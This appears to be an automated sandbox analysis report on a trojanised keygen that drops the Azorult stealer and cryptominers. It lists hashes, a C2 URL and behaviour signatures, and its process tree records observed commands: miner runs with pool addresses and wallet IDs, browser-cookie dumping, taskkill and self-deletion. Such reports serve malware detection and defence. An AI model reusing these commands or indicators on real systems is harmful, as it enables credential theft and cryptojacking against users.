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Analysis

  • max time kernel
    15s
  • max time network
    57s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    06-04-2021 13:50

General

  • Target

    [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe

  • Size

    9.2MB

  • MD5

    b806267b5f3b7760df56396b1cf05e6d

  • SHA1

    5166d4c1d3e476281d9e991eababc3e4aa9ec5ad

  • SHA256

    f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783

  • SHA512

    30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Nirsoft 4 IoCs
  • XMRig Miner Payload 4 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 9 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4704
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3160
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3992
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1296
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:1708
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
          keygen-step-1.exe
          3⤵
          • Executes dropped EXE
          PID:4072
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3036
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1824
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:1748
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4092
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1376
            • C:\Windows\SysWOW64\msiexec.exe
              msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
              5⤵
              • Enumerates connected drives
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:2240
            • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
              C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp1
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetWindowsHookEx
              PID:2716
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                  PID:5076
                • C:\Users\Admin\AppData\Roaming\1617716846810.exe
                  "C:\Users\Admin\AppData\Roaming\1617716846810.exe" /sjson "C:\Users\Admin\AppData\Roaming\1617716846810.txt"
                  6⤵
                    PID:1588
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                    6⤵
                      PID:2368
                    • C:\Users\Admin\AppData\Roaming\1617716849857.exe
                      "C:\Users\Admin\AppData\Roaming\1617716849857.exe" /sjson "C:\Users\Admin\AppData\Roaming\1617716849857.txt"
                      6⤵
                        PID:4804
                      • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
                        C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
                        6⤵
                          PID:4200
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                          6⤵
                          • Blocklisted process makes network request
                          • Executes dropped EXE
                          PID:1744
                          • C:\Windows\SysWOW64\PING.EXE
                            ping 127.0.0.1 -n 3
                            7⤵
                            • Runs ping.exe
                            PID:4156
                      • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
                        C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp1
                        5⤵
                        • Executes dropped EXE
                        • Suspicious use of SetWindowsHookEx
                        PID:2580
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /c taskkill /f /im chrome.exe
                          6⤵
                            PID:3956
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /f /im chrome.exe
                              7⤵
                              • Kills process with taskkill
                              PID:428
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                            6⤵
                              PID:4448
                              • C:\Windows\SysWOW64\PING.EXE
                                ping 127.0.0.1 -n 3
                                7⤵
                                • Runs ping.exe
                                PID:696
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
                            5⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4672
                            • C:\Windows\SysWOW64\PING.EXE
                              ping 127.0.0.1 -n 3
                              6⤵
                              • Runs ping.exe
                              PID:2756
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"
                          4⤵
                            PID:1744
                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                            4⤵
                              PID:1048
                              • C:\Users\Admin\AppData\Roaming\8B5D.tmp.exe
                                "C:\Users\Admin\AppData\Roaming\8B5D.tmp.exe"
                                5⤵
                                  PID:4400
                                  • C:\Windows\system32\msiexec.exe
                                    -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w23904 --cpu-max-threads-hint 50 -r 9999
                                    6⤵
                                      PID:908
                                    • C:\Windows\system32\msiexec.exe
                                      -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w32219@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                      6⤵
                                        PID:504
                                    • C:\Users\Admin\AppData\Roaming\8C87.tmp.exe
                                      "C:\Users\Admin\AppData\Roaming\8C87.tmp.exe"
                                      5⤵
                                        PID:3152
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\8C87.tmp.exe
                                          6⤵
                                            PID:3280
                                            • C:\Windows\SysWOW64\timeout.exe
                                              timeout /t 3
                                              7⤵
                                              • Delays execution with timeout.exe
                                              PID:4404
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
                                          5⤵
                                            PID:496
                                            • C:\Windows\SysWOW64\PING.EXE
                                              ping 127.0.0.1
                                              6⤵
                                              • Runs ping.exe
                                              PID:1828
                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
                                          4⤵
                                            PID:1324
                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
                                            4⤵
                                              PID:2160
                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
                                              4⤵
                                                PID:1644
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd.exe /c taskkill /f /im chrome.exe
                                                  5⤵
                                                    PID:4656
                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                      taskkill /f /im chrome.exe
                                                      6⤵
                                                      • Kills process with taskkill
                                                      PID:1696
                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"
                                                  4⤵
                                                    PID:4512
                                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                      5⤵
                                                        PID:2340
                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                        5⤵
                                                          PID:4576
                                                • C:\Windows\system32\msiexec.exe
                                                  C:\Windows\system32\msiexec.exe /V
                                                  1⤵
                                                  • Enumerates connected drives
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:3856
                                                  • C:\Windows\syswow64\MsiExec.exe
                                                    C:\Windows\syswow64\MsiExec.exe -Embedding E063C6819B3DFE9EA3E5C3B6BB66A0F9 C
                                                    2⤵
                                                    • Loads dropped DLL
                                                    PID:4216

                                                Network

                                                MITRE ATT&CK Enterprise v6

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • memory/504-105-0x0000000140000000-0x0000000140383000-memory.dmp

                                                  Filesize

                                                  3.5MB

                                                • memory/504-93-0x0000000140000000-0x0000000140383000-memory.dmp

                                                  Filesize

                                                  3.5MB

                                                • memory/908-84-0x0000000140000000-0x000000014070A000-memory.dmp

                                                  Filesize

                                                  7.0MB

                                                • memory/908-104-0x0000000140000000-0x000000014070A000-memory.dmp

                                                  Filesize

                                                  7.0MB

                                                • memory/908-94-0x0000000140000000-0x000000014070A000-memory.dmp

                                                  Filesize

                                                  7.0MB

                                                • memory/908-91-0x000002564AF30000-0x000002564AF44000-memory.dmp

                                                  Filesize

                                                  80KB

                                                • memory/908-108-0x000002564C720000-0x000002564C740000-memory.dmp

                                                  Filesize

                                                  128KB

                                                • memory/1048-55-0x00000000001F0000-0x00000000001FD000-memory.dmp

                                                  Filesize

                                                  52KB

                                                • memory/1048-82-0x0000000003500000-0x0000000003548000-memory.dmp

                                                  Filesize

                                                  288KB

                                                • memory/1296-25-0x0000000002700000-0x000000000289C000-memory.dmp

                                                  Filesize

                                                  1.6MB

                                                • memory/1376-24-0x0000000072E20000-0x0000000072EB3000-memory.dmp

                                                  Filesize

                                                  588KB

                                                • memory/1376-28-0x0000000010000000-0x000000001033E000-memory.dmp

                                                  Filesize

                                                  3.2MB

                                                • memory/1588-81-0x0000000072E20000-0x0000000072EB3000-memory.dmp

                                                  Filesize

                                                  588KB

                                                • memory/1744-48-0x0000000001660000-0x0000000001662000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/1744-44-0x0000000000D00000-0x0000000000D01000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/1744-43-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp

                                                  Filesize

                                                  9.9MB

                                                • memory/2160-117-0x0000000002170000-0x00000000021A3000-memory.dmp

                                                  Filesize

                                                  204KB

                                                • memory/2160-113-0x00007FF8525B0000-0x00007FF852F9C000-memory.dmp

                                                  Filesize

                                                  9.9MB

                                                • memory/2160-119-0x000000001ACC0000-0x000000001ACC2000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/2160-118-0x0000000000860000-0x0000000000861000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/2160-116-0x0000000000640000-0x0000000000641000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/2160-114-0x0000000000120000-0x0000000000121000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/2368-106-0x000001BA23260000-0x000001BA23261000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/2368-99-0x00007FF86A380000-0x00007FF86A3FE000-memory.dmp

                                                  Filesize

                                                  504KB

                                                • memory/2580-65-0x0000000003600000-0x0000000003AAF000-memory.dmp

                                                  Filesize

                                                  4.7MB

                                                • memory/2580-37-0x0000000072E20000-0x0000000072EB3000-memory.dmp

                                                  Filesize

                                                  588KB

                                                • memory/2716-35-0x0000000072E20000-0x0000000072EB3000-memory.dmp

                                                  Filesize

                                                  588KB

                                                • memory/2716-53-0x0000000010000000-0x000000001033E000-memory.dmp

                                                  Filesize

                                                  3.2MB

                                                • memory/2716-64-0x0000000002D30000-0x00000000031DF000-memory.dmp

                                                  Filesize

                                                  4.7MB

                                                • memory/3152-147-0x0000000000400000-0x000000000587C000-memory.dmp

                                                  Filesize

                                                  84.5MB

                                                • memory/3152-109-0x0000000007800000-0x000000000CC7C000-memory.dmp

                                                  Filesize

                                                  84.5MB

                                                • memory/4200-134-0x0000000072E20000-0x0000000072EB3000-memory.dmp

                                                  Filesize

                                                  588KB

                                                • memory/4804-103-0x0000000072E20000-0x0000000072EB3000-memory.dmp

                                                  Filesize

                                                  588KB

                                                • memory/5076-71-0x000001559E370000-0x000001559E371000-memory.dmp

                                                  Filesize

                                                  4KB

                                                • memory/5076-70-0x0000000010000000-0x0000000010057000-memory.dmp

                                                  Filesize

                                                  348KB

                                                • memory/5076-68-0x00007FF86A380000-0x00007FF86A3FE000-memory.dmp

                                                  Filesize

                                                  504KB